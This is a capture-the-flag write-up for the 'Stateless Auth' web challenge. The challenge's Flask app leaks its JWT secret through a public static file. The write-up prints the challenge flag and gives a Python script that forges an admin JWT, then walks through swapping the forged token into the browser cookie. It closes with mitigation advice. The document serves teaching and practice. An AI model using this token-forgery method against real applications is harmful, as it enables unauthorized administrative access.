Executive Summary
Challenge: Stateless Auth
CTF: Daily Alpacahack 2026 #25
Category: Web Exploitation
Difficulty: Medium
Flag: Alpaca{Br3w_your_own_4dmin_JWT}
Stateless Auth is a web challenge where the objective is to bypass authentication to access an admin dashboard. The application forbids direct login as “admin” but inadvertently exposes its JWT secret key via a public static file. We exploit this information disclosure to sign a forged JWT with administrator privileges, granting access to the flag.
Challenge Overview
We are provided with the source code for a Flask web application that uses JSON Web Tokens (JWT) for authentication. The goal is to access the /dashboard as the user admin to retrieve the flag. However, the login route explicitly forbids the username “admin”.
Source Code Analysis
Upon reviewing app.py, two critical pieces of logic stand out:
1. The “Admin” Block
The application prevents direct login as an administrator:
@app.post("/login")def login(): username = request.form.get("username", "") # ... if username.lower() == "admin": return render_template("login.html", error="admin is forbidden")2. The Secret Storage Vulnerability
The application generates a random 32-byte hex string as the JWT secret key. However, it persists this key to the filesystem to survive restarts:
if not os.path.exists("static/jwt_secret.txt"): JWT_SECRET = random.randbytes(32).hex() with open("static/jwt_secret.txt", "w") as f: f.write(JWT_SECRET)The Flaw: The file is written to the static/ directory. In Flask, files in static/ are served publicly by default (usually for CSS, JS, and images). This means the secret key is publicly accessible.
Exploitation Steps
Step 1: Leak the Secret Key
Since we know the file path is static/jwt_secret.txt, we can request it directly via the browser or curl.
Request:
GET /static/jwt_secret.txt HTTP/1.1
Response (Example):
a1b2c3d4e5f6... (32 byte hex string)
Step 2: Forge the Admin Token
With the secret key in hand, we can bypass the login restriction. We need to create a JWT that claims our identity (sub) is admin. The server verifies the token using the secret we just stole, so the signature will be valid.
I used the following Python script to generate the forged token:
import jwtimport time
# 1. The secret retrieved from /static/jwt_secret.txtLEAKED_SECRET = "PASTE_RETRIEVED_HEX_STRING_HERE"
# 2. Construct the payload with "sub": "admin"payload = { "sub": "admin", "iat": int(time.time()), "exp": int(time.time()) + 3600 # Valid for 1 hour}
# 3. Sign the tokenforged_token = jwt.encode(payload, LEAKED_SECRET, algorithm="HS256")print(f"Forged Cookie: {forged_token}")Step 3: Injection and Capture
- Navigate to the challenge website.
- Open Developer Tools (F12) -> Application -> Cookies.
- Replace the value of the
tokencookie with the Forged Cookie generated above. - Refresh the page or navigate to
/dashboard. - The server decodes the token, sees
sub: admin, and renders the flag.
Mitigation
To fix this vulnerability, the developer should:
- Never store secrets in the web root: Store sensitive files outside of the
staticdirectory. - Use Environment Variables: Load
JWT_SECRETfromos.environrather than a text file. - Restrict File Permissions: Ensure configuration files are readable only by the application user, not the web server’s public interface.